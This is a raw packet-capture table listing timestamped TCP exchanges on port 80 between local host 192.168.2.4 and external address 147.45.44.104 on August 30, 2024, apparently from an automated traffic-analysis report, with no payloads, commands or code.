Aug 30, 2024 06:17:03.931644917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931654930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931665897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931674004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931678057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931689024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931698084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931699038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931711912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931715965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931737900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931750059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931761026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.931762934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.931790113 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932305098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932353020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932396889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932406902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932440996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932452917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932462931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932471991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932497025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932498932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932518959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932560921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932574987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932585955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932595015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932605982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932615042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932621002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932629108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932638884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932643890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932661057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932672024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932682991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932709932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932718039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932729006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932739973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.932764053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.932790995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933258057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933304071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933309078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933320045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933350086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933409929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933420897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933430910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933440924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933456898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933459997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933470011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933471918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933480978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933490038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.933494091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.933521986 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005302906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005388975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005398989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005403996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005409002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005420923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005430937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005441904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005450010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005455017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005481958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005495071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005501032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005511045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005520105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005532026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005539894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005542040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.005564928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.005570889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018501997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018522024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018537998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018614054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018624067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018629074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018656015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018660069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018666029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018677950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018687963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018697023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018716097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018731117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018811941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018822908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018831015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018841982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018851042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018862009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018862009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018872976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018882036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018896103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018923998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.018951893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018963099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018970966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018980026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018990040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.018994093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019001007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019016027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019031048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019046068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019057035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019053936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019066095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019077063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019087076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019089937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019097090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019107103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019109964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019124031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019143105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019301891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019311905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019320965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019331932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019340992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019342899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019351959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019361973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019366980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019380093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019401073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019422054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019433975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019443035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019454002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019464016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019465923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019485950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019495010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019673109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019682884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019690990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019701004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019710064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019716978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019720078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019730091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019740105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019741058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019750118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019752026 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019761086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019771099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019772053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019782066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019784927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019804955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019807100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019829035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019844055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.019849062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.019876003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020025969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020036936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020046949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020057917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020062923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020067930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020076036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020078897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020088911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020092010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020098925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020108938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020113945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020118952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020126104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020131111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020140886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020143986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020147085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020158052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020168066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020179033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020196915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020339966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020349979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020359039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020369053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020376921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020378113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020389080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020399094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020404100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020407915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020411968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020418882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020433903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020457983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020486116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020498037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020507097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020528078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020546913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020648003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020658970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020672083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020683050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020684958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020690918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020701885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020708084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020713091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020723104 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020724058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020734072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020745039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020746946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020754099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020768881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020771980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020785093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020807028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.020972967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020982981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.020992041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021001101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021008015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021009922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021020889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021034002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021037102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021047115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021050930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021056890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021068096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021068096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021091938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021092892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021100998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021126986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021146059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021156073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021157980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021162987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021183014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021193981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021233082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021357059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021368980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021377087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021388054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021399021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021406889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021409035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021416903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021418095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021426916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021435976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021444082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021445990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021456957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021467924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021470070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021477938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021493912 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021503925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021532059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021622896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021636009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021645069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021656036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021665096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021670103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021676064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.021693945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.021723032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025686026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025696993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025706053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025724888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025742054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025789976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025805950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025820971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025830984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025832891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025842905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025851965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025857925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025861025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.025880098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.025902033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026038885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026055098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026065111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026077986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026078939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026089907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026103020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026118994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026137114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026141882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026148081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026155949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026165962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026175976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026176929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026186943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026199102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026216030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026216984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026226044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026235104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026238918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026266098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026268959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026279926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026289940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026292086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026300907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026323080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026355028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.026401997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.026443958 CEST	80	49735	147.45.44.104	192.168.2.4
